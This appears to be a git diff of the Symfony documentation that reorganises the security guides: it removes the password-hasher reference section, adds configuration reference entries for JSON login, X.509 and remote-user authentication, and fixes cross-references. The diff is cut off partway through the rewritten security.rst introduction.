+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 7.019141 8.167187 L 7.00957 10.333008 " transform="matrix(20,0,0,20,1,1)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 6.75957 10.332031 L 7.007422 10.833008 L 7.25957 10.33418 Z M 6.75957 10.332031 " transform="matrix(20,0,0,20,1,1)"/>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 10.050195 12.525195 L 12.4 12.525195 " transform="matrix(20,0,0,20,1,1)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 12.4 12.775195 L 12.9 12.525195 L 12.4 12.275195 Z M 12.4 12.775195 " transform="matrix(20,0,0,20,1,1)"/>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 21.102734 12.525195 L 23.399805 12.525195 " transform="matrix(20,0,0,20,1,1)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 23.399805 12.775195 L 23.899805 12.525195 L 23.399805 12.275195 Z M 23.399805 12.775195 " transform="matrix(20,0,0,20,1,1)"/>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 30.050391 12.525195 L 32.399609 12.525195 " transform="matrix(20,0,0,20,1,1)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 32.399609 12.775195 L 32.899609 12.525195 L 32.399609 12.275195 Z M 32.399609 12.775195 " transform="matrix(20,0,0,20,1,1)"/>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 39.029297 12.525195 L 41.400586 12.525195 " transform="matrix(20,0,0,20,1,1)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 41.400586 12.775195 L 41.900586 12.525195 L 41.400586 12.275195 Z M 41.400586 12.775195 " transform="matrix(20,0,0,20,1,1)"/>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 47 14.167188 L 47 16.333008 " transform="matrix(20,0,0,20,1,1)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 46.75 16.333008 L 47 16.833008 L 47.25 16.333008 Z M 46.75 16.333008 " transform="matrix(20,0,0,20,1,1)"/>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 12.049414 23.525195 L 14.420703 23.525195 " transform="matrix(20,0,0,20,1,1)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 14.420703 23.775195 L 14.920703 23.525195 L 14.420703 23.275195 Z M 14.420703 23.775195 " transform="matrix(20,0,0,20,1,1)"/>
+</g>
+</svg>
diff --git a/_images/sources/security/security_events.dia b/_images/sources/security/security_events.dia
new file mode 100644
index 0000000000000000000000000000000000000000..0a8afa731799dc14758903a9bfb42fba53ab2002
GIT binary patch
literal 2566
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

literal 0
HcmV?d00001

diff --git a/doctrine/registration_form.rst b/doctrine/registration_form.rst
index d999eda77e9..2b8d687ee16 100644
--- a/doctrine/registration_form.rst
+++ b/doctrine/registration_form.rst
@@ -14,7 +14,7 @@ form you must:
 #. :doc:`Create a form </forms>` to ask for the registration information (you can
    generate this with the ``make:registration-form`` command provided by the `MakerBundle`_);
 #. Create :doc:`a controller </controller>` to :ref:`process the form <processing-forms>`;
-#. :ref:`Protect some parts of your application <security-authorization>` so
+#. :ref:`Protect some parts of your application <security-access-control>` so
    only registered users can access to them.
 
 .. _`MakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html
diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index 794a09bb83b..123989258a6 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -335,9 +335,9 @@ or can get everything which partial matches the event name:
 
     The ability to match partial event names was introduced in Symfony 5.3.
 
-The :doc:`new authenticator-based Security </security/authenticator_manager>`
-system adds an event dispatcher per firewall. Use the ``--dispatcher`` option to
-get the registered listeners for a particular event dispatcher:
+The :doc:`security </security>` system uses an event dispatcher per
+firewall. Use the ``--dispatcher`` option to get the registered listeners
+for a particular event dispatcher:
 
 .. code-block:: terminal
 
diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index db4558a939f..87f6fbd8fb7 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -40,7 +40,7 @@ Some of these options define tens of sub-options and they are explained in
 separate articles:
 
 * `access_control`_
-* `hashers`_
+* :ref:`hashers <passwordhasher-supported-algorithms>`
 * `firewalls`_
 * `providers`_
 * `role_hierarchy`_
@@ -120,273 +120,6 @@ and to allow anonymous users to the login form page.
 
 This option is explained in detail in :doc:`/security/access_control`.
 
-.. _encoders:
-
-hashers
--------
-
-This option defines the algorithm used to *hash* the password of the users
-(which in previous Symfony versions was wrongly called *"password encoding"*).
-
-If your app defines more than one user class, each of them can define its own
-hashing algorithm. Also, each algorithm defines different config options:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-
-            password_hashers:
-                # auto hasher with default options
-                App\Entity\User: 'auto'
-
-                # auto hasher with custom options
-                App\Entity\User:
-                    algorithm: 'auto'
-                    cost:      15
-
-                # Sodium hasher with default options
-                App\Entity\User: 'sodium'
-
-                # Sodium hasher with custom options
-                App\Entity\User:
-                    algorithm:   'sodium'
-                    memory_cost:  16384 # Amount in KiB. (16384 = 16 MiB)
-                    time_cost:    2     # Number of iterations
-
-                # MessageDigestPasswordHasher hasher using SHA512 hashing with default options
-                App\Entity\User: 'sha512'
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-
-            <config>
-                <!-- ... -->
-                <!-- auto hasher with default options -->
-                <security:password-hasher
-                    class="App\Entity\User"
-                    algorithm="auto"
-                />
-
-                <!-- auto hasher with custom options -->
-                <security:password-hasher
-                    class="App\Entity\User"
-                    algorithm="auto"
-                    cost="15"
-                />
-
-                <!-- Sodium hasher with default options -->
-                <security:password-hasher
-                    class="App\Entity\User"
-                    algorithm="sodium"
-                />
-
-                <!-- Sodium hasher with custom options -->
-                <!-- memory_cost: amount in KiB. (16384 = 16 MiB)
-                     time_cost: number of iterations -->
-                <security:password-hasher
-                    class="App\Entity\User"
-                    algorithm="sodium"
-                    memory_cost="16384"
-                    time_cost="2"
-                />
-
-                <!-- MessageDigestPasswordHasher hasher using SHA512 hashing with default options -->
-                <security:password-hasher
-                    class="App\Entity\User"
-                    algorithm="sha512"
-                />
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        use App\Entity\User;
-        use Symfony\Config\SecurityConfig;
-
-        return static function (SecurityConfig $security) {
-            // ...
-
-            // auto hasher with default options
-            $security->passwordHasher(User::class)
-                ->algorithm('auto');
-
-            // auto hasher with custom options
-            $security->passwordHasher(User::class)
-                ->algorithm('auto')
-                ->cost(15);
-
-            // Sodium hasher with default options
-            $security->passwordHasher(User::class)
-                ->algorithm('sodium');
-
-            // Sodium hasher with custom options
-            $security->passwordHasher(User::class)
-                ->algorithm('sodium')
-                ->memoryCost(16384) // Amount in KiB. (16384 = 16 MiB)
-                ->timeCost(2);      // Number of iterations
-
-            // MessageDigestPasswordHasher hasher using SHA512 hashing with default options
-            $security->passwordHasher(User::class)
-                ->algorithm('sha512');
-        };
-
-.. versionadded:: 5.3
-
-    The ``password_hashers`` option was introduced in Symfony 5.3. In previous
-    versions it was called ``encoders``.
-
-.. tip::
-
-    You can also create your own password hashers as services and you can even
-    select a different password hasher for each user instance. Read
-    :doc:`this article </security/named_hashers>` for more details.
-
-.. tip::
-
-    Hashing passwords is resource intensive and takes time in order to generate
-    secure password hashes. In tests however, secure hashes are not important, so
-    you can change the password hasher configuration in ``test`` environment to
-    run tests faster:
-
-    .. configuration-block::
-
-        .. code-block:: yaml
-
-            # config/packages/test/security.yaml
-            password_hashers:
-                # Use your user class name here
-                App\Entity\User:
-                    algorithm: auto # This should be the same value as in config/packages/security.yaml
-                    cost: 4 # Lowest possible value for bcrypt
-                    time_cost: 3 # Lowest possible value for argon
-                    memory_cost: 10 # Lowest possible value for argon
-
-        .. code-block:: xml
-
-            <!-- config/packages/test/security.xml -->
-            <?xml version="1.0" encoding="UTF-8"?>
-            <srv:container xmlns="http://symfony.com/schema/dic/security"
-                xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-                xmlns:srv="http://symfony.com/schema/dic/services"
-                xsi:schemaLocation="http://symfony.com/schema/dic/services
-                    https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-                <config>
-                    <!-- class: Use your user class name here -->
-                    <!-- algorithm: This should be the same value as in config/packages/security.yaml -->
-                    <!-- cost: Lowest possible value for bcrypt -->
-                    <!-- time_cost: Lowest possible value for argon -->
-                    <!-- memory_cost: Lowest possible value for argon -->
-                    <security:password-hasher
-                        class="App\Entity\User"
-                        algorithm="auto"
-                        cost="4"
-                        time_cost="3"
-                        memory_cost="10"
-                    />
-                </config>
-            </srv:container>
-
-        .. code-block:: php
-
-            // config/packages/test/security.php
-            use App\Entity\User;
-            use Symfony\Config\SecurityConfig;
-
-            return static function (SecurityConfig $security) {
-                // ...
-
-                // Use your user class name here
-                $security->passwordHasher(User::class)
-                    ->algorithm('auto') // This should be the same value as in config/packages/security.yaml
-                    ->cost(4) // Lowest possible value for bcrypt
-                    ->timeCost(2) // Lowest possible value for argon
-                    ->memoryCost(10) // Lowest possible value for argon
-                ;
-            };
-
-
-.. _reference-security-encoder-auto:
-.. _using-the-auto-password-encoder:
-
-Using the "auto" Password Hasher
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-It automatically selects the best available hasher. Starting from Symfony 5.3,
-it uses the Bcrypt hasher. If PHP or Symfony adds new password hashers in the
-future, it might select a different hasher.
-
-Because of this, the length of the hashed passwords may change in the future, so
-make sure to allocate enough space for them to be persisted (``varchar(255)``
-should be a good setting).
-
-.. _reference-security-encoder-bcrypt:
-
-Using the Bcrypt Password Hasher
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-It produces hashed passwords with the `bcrypt password hashing function`_.
-Hashed passwords are ``60`` characters long, so make sure to
-allocate enough space for them to be persisted. Also, passwords include the
-`cryptographic salt`_ inside them (it's generated automatically for each new
-password) so you don't have to deal with it.
-
-Its only configuration option is ``cost``, which is an integer in the range of
-``4-31`` (by default, ``13``). Each single increment of the cost **doubles the
-time** it takes to hash a password. It's designed this way so the password
-strength can be adapted to the future improvements in computation power.
-
-You can change the cost at any time — even if you already have some passwords
-hashed using a different cost. New passwords will be hashed using the new
-cost, while the already hashed ones will be validated using a cost that was
-used back when they were hashed.
-
-.. tip::
-
-    A simple technique to make tests much faster when using BCrypt is to set
-    the cost to ``4``, which is the minimum value allowed, in the ``test``
-    environment configuration.
-
-.. _reference-security-sodium:
-.. _using-the-argon2i-password-encoder:
-.. _using-the-sodium-password-encoder:
-
-Using the Sodium Password Hasher
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-It uses the `Argon2 key derivation function`_. Argon2 support was introduced
-in PHP 7.2 by bundeling the `libsodium`_ extension.
-
-The hashed passwords are ``96`` characters long, but due to the hashing
-requirements saved in the resulting hash this may change in the future, so make
-sure to allocate enough space for them to be persisted. Also, passwords include
-the `cryptographic salt`_ inside them (it's generated automatically for each new
-password) so you don't have to deal with it.
-
-.. _reference-security-pbkdf2:
-.. _using-the-pbkdf2-encoder:
-
-Using the PBKDF2 Hasher
-~~~~~~~~~~~~~~~~~~~~~~~
-
-Using the `PBKDF2`_ hasher is no longer recommended since PHP added support for
-Sodium and BCrypt. Legacy application still using it are encouraged to upgrade
-to those newer hashing algorithms.
-
 firewalls
 ---------
 
@@ -699,6 +432,104 @@ csrf_token_id
 
 An arbitrary string used to identify the token (and check its validity afterwards).
 
+.. _reference-security-firewall-json-login:
+
+JSON Login Authentication
+~~~~~~~~~~~~~~~~~~~~~~~~~
+
+check_path
+..........
+
+**type**: ``string`` **default**: ``/login_check``
+
+This is the URL or route name the system must post to authenticate using
+the JSON authenticator. The path must be covered by the firewall to which
+the user will authenticate.
+
+username_path
+.............
+
+**type**: ``string`` **default**: ``username``
+
+Use this and ``password_path`` to modify the expected request body
+structure of the JSON authenticator. For instance, if the JSON document has
+the following structure:
+
+.. code-block:: json
+
+    {
+        "security": {
+            "credentials": {
+                "login": "dunglas",
+                "password": "MyPassword"
+            }
+        }
+    }
+
+The security configuration should be:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            # ...
+
+            firewalls:
+                main:
+                    anonymous: true
+                    lazy: true
+                    json_login:
+                        check_path:    login
+                        username_path: security.credentials.login
+                        password_path: security.credentials.password
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <firewall name="main" anonymous="true" lazy="true">
+                    <json-login check-path="login"
+                        username-path="security.credentials.login"
+                        password-path="security.credentials.password"/>
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $mainFirewall = $security->firewall('main');
+            $mainFirewall->anonymous();
+            $mainFirewall->lazy(true);
+            $mainFirewall->jsonLogin()
+                ->checkPath('/login')
+                ->usernamePath('security.credentials.login')
+                ->passwordPath('security.credentials.password')
+            ;
+        };
+
+password_path
+.............
+
+**type**: ``string`` **default**: ``password``
+
+Use this option to modify the expected request body structure. See
+`username_path`_ for more details.
+
 .. _reference-security-ldap:
 
 LDAP Authentication
@@ -755,12 +586,157 @@ fetch your users from an LDAP server, you will need to use the
 :doc:`LDAP User Provider </security/ldap>` and any of these authentication
 providers: ``form_login_ldap`` or ``http_basic_ldap`` or ``json_login_ldap``.
 
+.. _reference-security-firewall-x509:
+
+X.509 Authentication
+~~~~~~~~~~~~~~~~~~~~
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            # ...
+
+            firewalls:
+                main:
+                    # ...
+                    x509:
+                        provider:    your_user_provider
+                        user:        SSL_CLIENT_S_DN_Email
+                        credentials: SSL_CLIENT_S_DN
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <!-- ... -->
+
+                <firewall name="main">
+                    <!-- ... -->
+                    <x509 provider="your_user_provider"
+                        user="SSL_CLIENT_S_DN_Email"
+                        credentials="SSL_CLIENT_S_DN"
+                    />
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $mainFirewall = $security->firewall('main');
+            $mainFirewall->x509()
+                ->provider('your_user_provider')
+                ->user('SSL_CLIENT_S_DN_Email')
+                ->credentials('SSL_CLIENT_S_DN')
+            ;
+        };
+
+user
+....
+
+**type**: ``string`` **default**: ``SSL_CLIENT_S_DN_Email``
+
+The name of the ``$_SERVER`` parameter containing the user identifier used
+to load the user in Symfony. The default value is exposed by Apache.
+
+credentials
+...........
+
+**type**: ``string`` **default**: ``SSL_CLIENT_S_DN``
+
+If the ``user`` parameter is not available, the name of the ``$_SERVER``
+parameter containing the full "distinguished name" of the certificate
+(exposed by e.g. Nginx).
+
+Symfony identifies the value following ``emailAddress=`` in this parameter.
+
+.. _reference-security-firewall-remote-user:
+
+Remote User Authentication
+~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            firewalls:
+                main:
+                    # ...
+                    remote_user:
+                        provider: your_user_provider
+                        user:     REMOTE_USER
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <firewall name="main">
+                    <remote-user provider="your_user_provider"
+                        user="REMOTE_USER"/>
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $mainFirewall = $security->firewall('main');
+            $mainFirewall->remoteUser()
+                ->provider('your_user_provider')
+                ->user('REMOTE_USER')
+            ;
+        };
+
+provider
+........
+
+**type**: ``string``
+
+The service ID of the user provider that should be used by this
+authenticator.
+
+user
+....
+
+**type**: ``string`` **default**: ``REMOTE_USER``
+
+The name of the ``$_SERVER`` parameter holding the user identifier.
+
 .. _reference-security-firewall-context:
 
 Firewall Context
 ~~~~~~~~~~~~~~~~
 
-Most applications will only need one :ref:`firewall <security-firewalls>`.
+Most applications will only need one :ref:`firewall <firewalls-authentication>`.
 But if your application *does* use multiple firewalls, you'll notice that
 if you're authenticated in one firewall, you're not automatically authenticated
 in another. In other words, the systems don't share a common "context":
@@ -846,13 +822,9 @@ providers
 ---------
 
 This options defines how the application users are loaded (from a database,
-an LDAP server, a configuration file, etc.) Read the following articles to learn
-more about each of those providers:
-
-* :ref:`Load users from a database <security-entity-user-provider>`
-* :ref:`Load users from an LDAP server <security-ldap-user-provider>`
-* :ref:`Load users from a configuration file <security-memory-user-provider>`
-* :ref:`Create your own user provider <custom-user-provider>`
+an LDAP server, a configuration file, etc.) Read
+:doc:`/security/user_providers` to learn more about each of those
+providers.
 
 role_hierarchy
 --------------
@@ -861,9 +833,4 @@ Instead of associating many roles to users, this option allows you to define
 role inheritance rules by creating a role hierarchy, as explained in
 :ref:`security-role-hierarchy`.
 
-.. _`PBKDF2`: https://en.wikipedia.org/wiki/PBKDF2
-.. _`libsodium`: https://pecl.php.net/package/libsodium
 .. _`Session Fixation`: https://owasp.org/www-community/attacks/Session_fixation
-.. _`Argon2 key derivation function`: https://en.wikipedia.org/wiki/Argon2
-.. _`bcrypt password hashing function`: https://en.wikipedia.org/wiki/Bcrypt
-.. _`cryptographic salt`: https://en.wikipedia.org/wiki/Salt_(cryptography)
diff --git a/security.rst b/security.rst
index 905d14f7d23..4c065b70e5e 100644
--- a/security.rst
+++ b/security.rst
@@ -4,144 +4,258 @@
 Security
 ========
 
-.. admonition:: Screencast
-    :class: screencast
+Symfony provides many tools to secure your application. Some HTTP-related
+security tools, like :doc:`secure session cookies </session>` and
+:doc:`CSRF protection </security/csrf>` are provided by default. The
+SecurityBundle, which you will learn about in this guide, provides all
+authentication and authorization features needed to secure your
+application.
 
-    Do you prefer video tutorials? Check out the `Symfony Security screencast series`_.
+.. _security-installation:
 
-Symfony's security system is incredibly powerful, but it can also be confusing
-to set up. Don't worry! In this article, you'll learn how to set up your app's
-security system step-by-step:
+To get started, install the SecurityBundle:
 
-#. :ref:`Installing security support <security-installation>`;
+.. code-block:: terminal
 
-#. :ref:`Create your User Class <create-user-class>`;
+    $ composer require symfony/security-bundle
 
-#. :ref:`Authentication & Firewalls <security-yaml-firewalls>`;
+If you have :ref:`Symfony Flex <symfony-flex>` installed, this also
+creates a ``security.yaml`` configuration file for you:
+
+.. code-block:: yaml
+
+    # config/packages/security.yaml
+    security:
+        # https://symfony.com/doc/current/security/experimental_authenticators.html
+        enable_authenticator_manager: true
+        # https://symfony.com/doc/current/security.html#where-do-users-come-from-user-providers
+        providers:
+            users_in_memory: { memory: null }
+        firewalls:
+            dev:
+                pattern: ^/(_(profiler|wdt)|css|images|js)/
+                security: false
+            main:
+                lazy: true
+                provider: users_in_memory
+
+                # activate different ways to authenticate
+                # https://symfony.com/doc/current/security.html#firewalls-authentication
+
+                # https://symfony.com/doc/current/security/impersonating_user.html
+                # switch_user: true
+
+        # Easy way to control access for large sections of your site
+        # Note: Only the *first* access control that matches will be used
+        access_control:
+            # - { path: ^/admin, roles: ROLE_ADMIN }
+            # - { path: ^/profile, roles: ROLE_USER }
+
+That's a lot of config! In the next sections, the three main elements are
